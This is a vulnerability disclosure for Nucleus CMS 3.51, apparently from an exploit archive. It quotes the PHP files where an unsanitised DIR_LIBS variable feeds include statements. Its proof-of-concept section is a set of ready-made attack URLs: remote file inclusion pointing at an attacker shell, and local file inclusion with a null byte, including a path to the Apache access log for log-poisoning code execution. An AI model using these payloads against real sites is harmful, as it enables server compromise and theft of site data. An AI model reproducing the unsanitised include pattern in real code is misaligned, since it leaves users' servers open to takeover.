Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability

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    Nucleus CMS v.3.51 (DIR_LIBS) Multiple Vulnerability
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 ____                  __                              __    __               
/\  _`\               /\ \      __                    /\ \__/\ \              
\ \ \L\_\__  __    ___\ \ \/'\ /\_\    ___      __    \ \ ,_\ \ \___      __  
 \ \  _\/\ \/\ \  /'___\ \ , < \/\ \ /' _ `\  /'_ `\   \ \ \/\ \  _ `\  /'__`\
  \ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \   \ \ \_\ \ \ \ \/\  __/
   \ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \   \ \__\\ \_\ \_\ \____\
    \/_/  \/___/  \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \   \/__/ \/_/\/_/\/____/
                                                /\____/                       
                                                \_/__/                        
 __      __          __          ______                       Author:eidelweiss
/\ \  __/\ \        /\ \        /\  _  \                          
\ \ \/\ \ \ \     __\ \ \____   \ \ \L\ \  _____   _____     ____ 
 \ \ \ \ \ \ \  /'__`\ \ '__`\   \ \  __ \/\ '__`\/\ '__`\  /',__\
  \ \ \_/ \_\ \/\  __/\ \ \L\ \   \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
   \ `\___x___/\ \____\\ \_,__/    \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
    '\/__//__/  \/____/ \/___/      \/_/\/_/\ \ \/  \ \ \/  \/___/
                                             \ \_\   \ \_\        
                                              \/_/    \/_/        
                                                         
 
[+]Software:    Nucleus CMS
[+]Version:	Nucleus v3.51 (Other or lower version may also be affected)
[+]License: 	GNU/GPL (Free Software)
[+]Homepage:	http://nucleuscms.org/download.php
[+]Download:	http://prdownloads.sourceforge.net/nucleuscms/nucleus3.51.zip?download
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[!]Discovered:	eidelweiss
[!]Contact:	eidelweiss[at]cyberservices[dot]com
[!]Thank`s:	sp3x (securityreason) - r0073r & 0x1D (inj3ct0r) loneferret - Exploits - dookie2000ca (exploit-db)
		JosS (hack0wn) - g1xx_achmed - [D]eal [C]yber - Syabilla_putri (i miss u so much to)
 
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-=[Description]=-
 
    Nucleus allows you to easily maintain your own weblog(s) on your own server. It offers a system that is easy to install, but still offers maximum flexibility. (PHP4/MySQL)

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	-=[VUln Code]=-
**********************************
[-][path_to_nucleus]/action.php

$CONF = array();
require('./config.php');

// common functions
include_once($DIR_LIBS . 'ACTION.php');

$action = requestVar('action');
$a =& new ACTION();
$errorInfo = $a->doAction($action);

**********************************
[-][path_to_nucleus]/nucleus/xmlrpc/server.php

$CONF = array();
require("../../config.php");	// include Nucleus libs and code
include($DIR_LIBS . "xmlrpc.inc.php");
include($DIR_LIBS . "xmlrpcs.inc.php");

**********************************
[-][path_to_nucleus]/nucleus/plugins/skinfiles/index.php

 	$strRel = '../../../'; 
	require($strRel . 'config.php');
	include($DIR_LIBS . 'PLUGINADMIN.php');

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	-=[ P0C ]=-
 
	Http://127.0.0.1/[path_to_nucleus]/action.php?DIR_LIBS= [inj3ct0r sh3ll]
 
	Http://127.0.0.1/[path_to_nucleus]/nucleus/xmlrpc/server.php?DIR_LIBS= [inj3ct0r sh3ll]

	Http://127.0.0.1/[path_to_nucleus]/nucleus/plugins/skinfiles/index.php?DIR_LIBS=../../../var/log/httpd/access_log%00
				or
	Http://127.0.0.1/[path_to_nucleus]/nucleus/plugins/skinfiles/index.php?DIR_LIBS=[lfi]%00

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